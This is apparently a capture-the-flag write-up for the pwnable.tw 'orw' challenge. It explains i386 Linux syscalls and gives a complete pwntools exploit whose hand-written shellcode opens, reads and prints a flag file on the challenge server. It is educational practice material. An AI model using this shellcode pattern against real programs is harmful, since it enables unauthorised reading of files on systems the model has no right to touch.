This binary gives up it’s restraints in the description:
If we decompile the binary with ghidra, we can see it literally just accepts and calls our shellcode.
To figure out how linux syscalls work in assembly, you can use this for reference. Just put the correct value in each register then call int 0x80
, and in this scenario the return value will be put in eax. To find what to put in each parameter, you can look at the man pages (ex man 3 read
).
In the end, the exploit looks like this:
#!/usr/bin/env python3
from pwn import *
context.binary = './orw'
proc = connect('chall.pwnable.tw', 10001)
payload = asm('''
push 0x006761
push 0x6c662f77
push 0x726f2f65
push 0x6d6f682f
mov eax, 0x05
mov ebx, esp
mov ecx, 0
mov edx, 0
int 0x80
mov ebx, eax
mov eax, 0x03
mov ecx, esp
mov edx, 0xff
int 0x80
mov eax, 0x04
mov ebx, 0x1
mov ecx, esp
mov edx, 0xff
int 0x80
''')
proc.sendafter("shellcode:", payload)
print(proc.read())
There’s a few things to note here. edx, which resembles the number of characters to read/write in both syscalls, is set to a large number, because we’re aloud to overestimate. There will be some garbage printed on the terminal, but the flag will be printed first and is easy to pick out. Notice how when we push
the filename, it’s in little endian (reversed).
After running the script, we get our flag:
It is possible to have a shorter exploit using pwnlib’s shellcraft module. I though it’d be better to do the assembly myself, as it reveals what’s going on with linux i386 syscalls.